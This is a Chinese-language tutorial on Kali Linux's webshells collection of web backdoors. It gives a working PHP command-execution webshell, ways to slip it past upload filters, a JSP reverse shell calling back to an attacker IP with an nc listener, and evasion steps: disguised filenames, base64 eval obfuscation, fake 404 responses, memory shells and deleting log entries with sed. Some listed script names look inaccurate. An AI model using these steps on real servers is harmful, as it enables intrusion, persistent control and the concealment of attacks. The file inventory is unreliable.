webshells使用教程

在Kali Linux的Web渗透测试工具生态中,webshells是一款专注于Web后门(WebShell)资源整合的工具集,它汇集了针对不同Web开发语言(如PHP、ASP、JSP)的各类WebShell脚本,涵盖基础命令执行、文件管理、数据库操作等核心功能。作为渗透测试人员在后渗透阶段的“核心武器库”,webshells通过提供“即拿即用”的Web后门资源,帮助测试人员在获取目标Web应用初步访问权限后,快速建立持久化控制通道,实现对目标服务器的深度渗透。本文将从工具概述、核心功能、目录结构解析、使用场景及注意事项等方面,对webshells工具集进行全面详细的介绍。

一、webshells工具集概述

1. 工具定义

webshells是Kali Linux默认预装的Web后门资源集合,核心定位是“多语言WebShell脚本仓库”。WebShell本质是一段可在Web服务器上执行的恶意脚本,通过Web应用的文件上传漏洞、代码注入漏洞等方式植入目标服务器后,可实现“通过HTTP/HTTPS协议远程控制服务器”的功能(如执行系统命令、管理文件、操作数据库)。webshells工具集将不同语言、不同功能的WebShell脚本按类别整理,覆盖主流Web开发技术栈,无需测试人员手动编写复杂脚本,大幅降低Web后门植入与使用的技术门槛。

2. 开发背景与目标

在Web渗透测试中,“植入WebShell”是后渗透阶段的关键步骤——它能将“一次性的漏洞利用”转化为“长期的持久化控制”。但手动编写WebShell存在两大痛点:一是“语言适配难”——不同Web应用使用PHP、ASP、JSP等不同开发语言,需针对性编写脚本;二是“功能覆盖不全”——基础WebShell仅支持命令执行,而实战中还需文件上传、数据库查询等功能。webshells的开发目标正是解决这些痛点:通过整合社区验证的高质量WebShell脚本,按语言分类整理,提供“功能全面、兼容性强”的Web后门资源,帮助测试人员快速适配目标环境,提升渗透测试效率与成功率。

3. 主要特点

  • 多语言全覆盖:支持主流Web开发语言,包括PHP、ASP、ASPX、JSP、CFM、Perl,同时通过软链接关联Laudanum工具集的WebShell资源,覆盖Windows、Linux等不同操作系统的Web服务器环境。
  • 功能场景化分类:每个语言目录下的WebShell按功能细分,涵盖“基础命令执行”(如一句话木马)、“多功能管理”(如文件上传/下载、进程管理)、“数据库操作”(如MySQL查询、SQL Server连接),适配不同渗透需求。
  • 兼容性强:脚本经过多版本Web服务器(如Apache、IIS、Tomcat)与PHP/Java环境测试,支持低版本(如PHP 5.x)与高版本(如PHP 8.x)环境,减少因环境差异导致的脚本失效问题。
  • 轻量易部署:所有WebShell均为纯文本脚本,体积小巧(多数仅几KB至几十KB),可通过简单的文件上传、代码注入等方式快速植入,无需额外依赖库或编译步骤。
  • 资源联动性:通过软链接(laudanum -> /usr/share/laudanum)关联Kali中的Laudanum工具集,实现WebShell资源的“一站式获取”,避免测试人员在多个工具目录间切换。

4. 适用场景

webshells工具集主要适用于Web渗透测试的后渗透阶段,具体包括以下核心场景:

  • 文件上传漏洞利用:当目标Web应用存在文件上传漏洞(如未限制.php/.asp后缀、未过滤恶意代码)时,从webshells中选择对应语言的WebShell,伪装后上传(如将.php改为.php.jpg绕过检测),获取服务器控制权限。
  • 代码注入漏洞利用:通过SQL注入、远程代码执行(RCE)等漏洞,将webshells中的脚本内容注入目标Web应用的文件(如通过SQL注入写入一句话木马到网站根目录),实现无文件上传的WebShell植入。
  • Web服务器持久化控制:在获取目标服务器初步控制权后,植入webshells中的多功能WebShell(如支持文件管理、数据库操作),作为长期控制通道,即使初始漏洞被修复,仍可通过WebShell访问服务器。
  • 权限提升辅助:利用WebShell执行系统命令(如查看进程、读取敏感文件/etc/passwd),收集目标服务器信息,为后续的本地权限提升(如利用SUID漏洞、内核漏洞)提供数据支持。
  • 安全防护测试:企业安全团队可使用webshells中的脚本,测试内部Web应用的后门检测能力(如Web应用防火墙WAF是否能拦截WebShell上传、杀毒软件是否能识别恶意脚本),完善防护体系。

二、webshells目录结构(中文翻译与说明)

在Kali Linux中,webshells的默认安装路径为/usr/share/webshells,目录按Web开发语言划分子目录,部分目录通过软链接关联其他工具的WebShell资源。以下是完整目录结构的中文翻译及详细功能说明表格:

英文目录中文翻译功能说明与典型脚本示例
/usr/share/webshellswebshells主目录webshells工具集的核心存储目录,包含所有语言子目录、软链接及说明文档,是WebShell资源的“根路径”;目录下还包含README类文件,简要介绍工具集用途。
aspASP语言WebShell目录存放基于ASP(Active Server Pages)语言编写的WebShell,适配运行在IIS服务器上的Windows Web应用,支持执行Windows系统命令、管理文件。
典型脚本示例:

 

  • asp/cmd.asp:基础命令执行WebShell,通过表单输入命令(如ipconfig),返回执行结果。
  • asp/webshell.asp:多功能WebShell,支持文件上传/下载、目录浏览、注册表读取(需目标服务器开启相关权限)。
aspxASPX语言WebShell目录包含基于ASP.NET(aspx)语言编写的WebShell,适配IIS服务器的ASP.NET应用,相比ASP脚本功能更强、兼容性更广,支持.NET框架API调用。
典型脚本示例:

 

  • aspx/cmd.aspx:支持Windows命令执行,可选择“cmd.exe”或“powershell.exe”作为命令解释器。
  • aspx/aspnet_webshell.aspx:多功能管理型WebShell,集成文件管理、进程管理、数据库连接(支持SQL Server、MySQL)功能。
cfmCFM语言WebShell目录存放基于CFM(ColdFusion Markup Language)语言编写的WebShell,适配运行ColdFusion服务器的Web应用(常见于企业内部系统),支持跨Windows/Linux平台。
典型脚本示例:

 

  • cfm/cmd.cfm:基础命令执行脚本,通过<cfexecute>标签执行系统命令(如Linux的ls、Windows的dir)。
  • cfm/cfm_webshell.cfm:轻量级WebShell,支持文件浏览与简单命令执行,适配低版本ColdFusion环境。
jspJSP语言WebShell目录包含基于JSP(JavaServer Pages)语言编写的WebShell,适配Tomcat、JBoss等Java Web服务器,支持跨Windows、Linux、Unix平台,可调用Java核心类库。
典型脚本示例:

 

  • jsp/cmd.jsp:通过Java的Runtime.getRuntime().exec()方法执行系统命令,返回命令输出结果。
  • jsp/jsp_webshell.jsp:多功能Java WebShell,支持文件上传(断点续传)、进程列表查看、数据库连接(支持Oracle、MySQL、PostgreSQL)。
  • jsp/reverse_shell.jsp:JSP反向Shell脚本,可连接攻击机的指定端口,获取交互式Shell(无需频繁提交HTTP请求)。
laudanum -> /usr/share/laudanumLaudanum工具集软链接通过软链接关联Kali中的Laudanum工具集(专注于Web后门与恶意脚本的工具),实现WebShell资源的联动。Laudanum包含更多场景化脚本(如WordPress专用后门、免杀优化脚本),可补充webshells的资源覆盖范围。
访问方式:进入该目录即等同于访问/usr/share/laudanum,可直接使用Laudanum中的ASP/PHP/JSP等脚本。
perlPerl语言WebShell目录存放基于Perl语言编写的WebShell,适配支持Perl脚本的Web服务器(如Apache+mod_perl),常见于Linux/Unix系统,脚本执行效率高、语法灵活。
典型脚本示例:

 

  • perl/cmd.pl:基础命令执行脚本,通过Perl的system()函数执行系统命令,返回HTML格式的输出结果。
  • perl/perl_webshell.pl:轻量级WebShell,支持文件浏览与简单命令执行,适配低版本Perl环境(如Perl 5.8+)。
phpPHP语言WebShell目录webshells中使用频率最高的目录,包含基于PHP语言编写的各类WebShell,适配Apache、Nginx等支持PHP的Web服务器(跨Windows/Linux平台),脚本数量多、功能覆盖全。
典型脚本示例:

 

  • php/php-reverse-shell.php:经典PHP反向Shell脚本,可配置攻击机IP与端口,运行后主动连接攻击机,获取交互式Shell(支持命令历史、管道操作)。
  • php/cmd.php:基础命令执行WebShell,通过system()shell_exec()等函数执行命令,支持POST参数传递命令(如cmd=whoami)。
  • php/webshell.php:多功能管理型WebShell(俗称“小马”),支持文件上传/下载/编辑、目录浏览、数据库查询(MySQL)、进程管理(需高权限)。
  • php/backdoor.php:免杀优化脚本,通过代码混淆(变量名随机化、字符串编码)规避简单WAF检测,适用于有基础防护的目标环境。

三、webshells完整使用教程

webshells工具集的核心使用流程为“选择适配脚本→植入目标服务器→访问并控制”,核心是根据目标Web应用的开发语言(如PHP、ASPX)选择对应目录的WebShell,结合漏洞场景完成植入。以下结合“PHP文件上传漏洞利用”“JSP反向Shell植入”两个高频场景,详细介绍使用步骤:

1. 基础环境准备

Kali Linux默认预装webshells,无需额外安装。通过以下命令查看目录结构,确认资源完整性:

# 进入webshells主目录
cd /usr/share/webshells

# 查看所有子目录
ls -l  # 输出asp、aspx、cfm、jsp、laudanum、perl、php目录,说明资源完整

# 查看PHP目录下的核心脚本(示例)
ls php/  # 输出php-reverse-shell.php、cmd.php等脚本

若目录缺失或脚本不完整,可通过以下命令重新安装:

sudo apt update && sudo apt install webshells

2. 场景1:PHP文件上传漏洞植入WebShell(获取命令执行权限)

目标:目标Web应用为PHP开发(如Apache+PHP环境),存在文件上传漏洞(允许上传.php文件且未过滤恶意代码),植入webshells中的PHP命令执行脚本,获取目标服务器命令执行权限。

  1. 步骤1:选择并准备PHP WebShell

    选择PHP目录下的基础命令执行脚本cmd.php,复制到本地目录便于修改(若需简单定制,如添加密码验证):

    # 复制cmd.php到当前用户目录(/root)
    cp /usr/share/webshells/php/cmd.php ~/
    
    # (可选)添加密码验证,避免WebShell被他人滥用
    nano ~/cmd.php

    在脚本开头添加密码验证逻辑(示例):

    <?php
    // 添加密码验证:仅当POST参数pass为"webshell123"时执行命令
    if ($_POST['pass'] !== 'webshell123') {
        die('Access Denied');
    }
    // 原命令执行逻辑
    if (isset($_POST['cmd'])) {
        $cmd = $_POST['cmd'];
        system($cmd);
    }
    ?>
    <form method="post">
        密码:<input type="password" name="pass"><br>
        命令:<input type="text" name="cmd"><br>
        <input type="submit" value="执行">
    </form>

    保存并退出编辑器(nano中按Ctrl+O保存,Ctrl+X退出)。

  2. 步骤2:通过文件上传漏洞植入脚本

    访问目标Web应用的文件上传页面(如“upload.php”),执行以下操作:

    • 点击“选择文件”,选择修改后的cmd.php脚本。
    • 若目标限制上传.php文件(如提示“仅允许上传图片”),通过“文件伪装”绕过:
      • 方法1:修改文件名后缀为cmd.php.jpg,利用Apache的“解析漏洞”(若服务器配置为“按后缀顺序解析”,会优先将.php.jpg按PHP解析)。
      • 方法2:在脚本开头添加图片文件头(如GIF89a),伪装成图片文件:
        echo -e "GIF89a\n$(cat ~/cmd.php)" > ~/cmd_伪装.php.jpg

        上传伪装后的文件cmd_伪装.php.jpg

    • 点击“上传”按钮,若上传成功,目标会返回脚本的访问路径(如“http://目标IP/uploads/cmd.php”或“http://目标IP/uploads/cmd_伪装.php.jpg”),记录该路径。
  3. 步骤3:访问WebShell并执行命令

    通过浏览器访问上传后的WebShell路径,验证命令执行功能:

    1. 在浏览器地址栏输入:http://目标IP/uploads/cmd.php(或伪装后的路径)。
    2. 在页面中输入密码(如“webshell123”)与要执行的命令(如Linux的whoami、Windows的ipconfig),点击“执行”按钮。
    3. 若页面返回命令执行结果(如Linux输出www-data、Windows输出IP配置信息),说明WebShell植入成功,已获取目标服务器命令执行权限。

    示例:执行ls /var/www/html命令,可查看目标Web根目录的所有文件,为后续渗透(如查找敏感配置文件)提供基础。

3. 场景2:JSP反向Shell植入(获取交互式Shell)

目标:目标Web应用为Java开发(Tomcat服务器),存在文件上传漏洞,植入webshells中的JSP反向Shell脚本,通过攻击机监听端口,获取目标服务器的交互式Shell(支持命令历史、管道操作)。

  1. 步骤1:配置JSP反向Shell脚本

    选择JSP目录下的反向Shell脚本reverse_shell.jsp,修改攻击机IP与监听端口:

    # 复制脚本到当前目录
    cp /usr/share/webshells/jsp/reverse_shell.jsp ~/
    
    # 编辑脚本,配置攻击机信息
    nano ~/reverse_shell.jsp

    在脚本中找到以下配置项,替换为攻击机(Kali)的IP与未被占用的端口(如8080):

    // 原配置(需修改)
    String host = "127.0.0.1";  // 攻击机IP
    int port = 4444;           // 攻击机监听端口
    
    // 修改后(示例)
    String host = "192.168.1.105";  // 攻击机实际IP(通过ifconfig查看)
    int port = 8080;                // 选择未被占用的端口(如8080)

    保存并退出编辑器。

  2. 步骤2:攻击机开启监听端口

    在Kali攻击机中,使用nc命令监听步骤1中配置的端口(如8080),等待目标反向连接:

    # 监听8080端口,开启详细输出模式
    nc -lvp 8080

    保持该终端窗口打开,不要关闭。

  3. 步骤3:上传并触发反向Shell

    通过目标Web应用的文件上传功能,上传修改后的reverse_shell.jsp脚本(若需伪装,参考场景1的文件伪装方法),记录上传后的访问路径(如“http://目标IP/upload/reverse_shell.jsp”)。

    通过浏览器或curl命令访问该路径,触发反向Shell连接:

    # 使用curl访问,避免浏览器缓存影响
    curl "http://目标IP/upload/reverse_shell.jsp"

     

  4. 步骤4:验证交互式Shell

    回到攻击机的nc监听终端,若成功建立连接,会显示目标服务器的Shell提示符(如sh-4.4$cmd.exe>),此时可执行任意系统命令:

    listening on [any] 8080 ...
    connect to [192.168.1.105] from (UNKNOWN) [192.168.1.106] 54321
    sh-4.4$ whoami  # 执行命令
    tomcat  # 输出目标服务器当前用户(Tomcat默认用户)
    sh-4.4$ ls /opt/tomcat/webapps  # 查看Tomcat部署的Web应用
    ROOT  manager  host-manager  upload
    sh-4.4$ ps aux | grep tomcat  # 查看Tomcat进程信息
    tomcat   1234  0.5  10.2  123456  78900 ?        Sl   09:00   0:30 /usr/bin/java -jar /opt/tomcat/bin/bootstrap.jar

    此时已通过JSP反向Shell获取目标服务器的交互式控制,可进行后续的权限提升(如利用Tomcat的高权限配置文件)、数据窃取等操作。

4. 关键补充:WebShell隐蔽性优化与管理

为降低WebShell被目标管理员或安全工具检测到的概率,需进行隐蔽性优化;同时,需规范管理WebShell,避免被他人滥用:

  1. 脚本命名伪装:将WebShell命名为正常文件名,如logo.phpstyle.jspupdate.aspx,避免使用webshell.phpcmd.jsp等敏感名称,降低被管理员发现的概率。
  2. 代码混淆与加密
    • PHP脚本:使用base64_encode()对核心代码进行编码,执行时解码(如eval(base64_decode('ZWNobyAiaGVsbG8iOw=='));)。
    • JSP脚本:通过Java的Base64.getDecoder().decode()解码核心逻辑,规避关键词检测(如Runtimeexec)。
    • 利用webshells/laudanum/helpers目录下的编码工具(如encode.php),自动完成代码混淆。
  3. 访问控制限制
    • IP白名单:仅允许攻击机IP访问WebShell,拒绝其他IP请求(示例PHP代码):
      $allow_ip = array('192.168.1.105');  // 攻击机IP
      if (!in_array($_SERVER['REMOTE_ADDR'], $allow_ip)) {
          die('404 Not Found');  // 伪装成404页面,隐藏WebShell存在
      }
    • 动态密码:定期修改WebShell的访问密码,避免密码泄露导致控制权丢失。
  4. 日志清理:植入WebShell后,若有权限访问Web服务器日志(如Apache的/var/log/apache2/access.log),删除包含WebShell访问记录的条目,避免被管理员通过日志发现异常:
    # 示例:删除包含"cmd.php"的日志条目(Linux)
    sed -i '/cmd.php/d' /var/log/apache2/access.log

四、使用webshells的注意事项

  • 严格遵守合法授权webshells工具集包含的WebShell均为“恶意脚本”,仅可用于对“已获得明确书面授权”的Web应用与服务器进行测试。未经授权植入WebShell、控制他人服务器,可能违反《中华人民共和国网络安全法》《刑法》第285条(非法侵入计算机信息系统罪)、第286条(破坏计算机信息系统罪),将承担刑事责任;尤其注意:禁止将WebShell用于攻击互联网上的非授权系统。
  • 区分测试环境与生产环境
    • 优先在“测试环境”(如企业内部的Web测试服务器)中使用webshells,避免在“生产环境”(如对外业务网站)中直接植入WebShell——生产环境WebShell可能导致用户数据泄露、业务中断,且清理不彻底会留下长期安全隐患。
    • 若需测试生产环境,必须提前与业务方沟通,明确测试时间窗口、操作范围与回滚方案,测试完成后立即删除所有WebShell脚本、清理访问日志,恢复目标系统至正常状态。
  • 注意脚本兼容性与环境适配
    • 选择WebShell时,必须匹配目标Web应用的开发语言与服务器环境:如PHP脚本仅适用于支持PHP的服务器,JSP脚本仅适用于Java Web服务器,避免因语言不兼容导致脚本无法执行。
    • 测试前通过“探针脚本”(如phpinfo.phpjspinfo.jsp)获取目标环境信息(如PHP版本、Java版本、禁用的函数),例如:若目标PHP禁用了system()函数,需选择使用shell_exec()passthru()的WebShell。
  • 规避安全防护检测
    • 现代Web应用通常部署Web应用防火墙(WAF)、终端检测响应(EDR)、杀毒软件,需采取以下措施提升WebShell存活率:
    • 避免使用“明文恶意代码”(如直接包含eval($_POST['cmd'])),通过代码混淆、编码、分段执行等方式规避WAF关键词检测。
    • 减少WebShell的访问频率,避免短时间内大量执行命令、上传文件,防止触发EDR的“异常行为告警”。
    • 使用“内存马”替代传统文件WebShell(如通过JSP动态注入内存马),避免文件落地被杀毒软件扫描。
  • 禁止滥用与数据泄露
    • 仅在授权范围内执行与测试目的相关的操作,不越权访问目标服务器的敏感数据(如用户密码、商业文档、数据库备份),不执行破坏性命令(如rm -rf /format)。
    • 测试过程中获取的任何数据需严格保密,不得泄露、传播或用于测试以外的用途;测试完成后,彻底删除从目标服务器下载的所有数据,确保数据安全。
  • 学习WebShell防御技术
    • 在使用webshells进行测试的同时,同步学习WebShell的防御方法(如文件上传过滤、代码执行限制、WAF规则配置),帮助目标方完善安全防护体系,实现“以攻促防”的测试目标。
    • 了解最新的WebShell检测技术(如基于行为分析的AI检测、内存马检测工具),提升对新型WebShell的识别能力,避免使用已被广泛检测的老旧脚本。

五、总结

webshells作为Kali Linux中核心的Web后门资源集合,凭借“多语言覆盖、功能全面、即拿即用”的特点,成为Web渗透测试人员在后渗透阶段的重要工具。它通过整合高质量的WebShell脚本,解决了“手动编写脚本效率低、兼容性差”的痛点,帮助测试人员快速适配不同技术栈的Web应用,建立持久化控制通道,为后续的权限提升、数据收集提供基础。

然而,WebShell的强大功能也伴随着极高的法律与伦理风险。在使用webshells时,必须始终以“合法授权”为前提,严格区分测试环境与生产环境,避免对目标系统造成负面影响;同时,需深入理解WebShell的工作原理与检测防御技术,结合目标环境特点优化脚本的隐蔽性与兼容性,确保测试工作的合规性与有效性。通过合理、合规地使用webshells,不仅能提升Web渗透测试的技术水平,更能帮助企业认识WebShell的危害与防御要点,完善Web应用的安全防护体系(如加强文件上传审核、部署智能WAF、定期进行WebShell扫描)。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值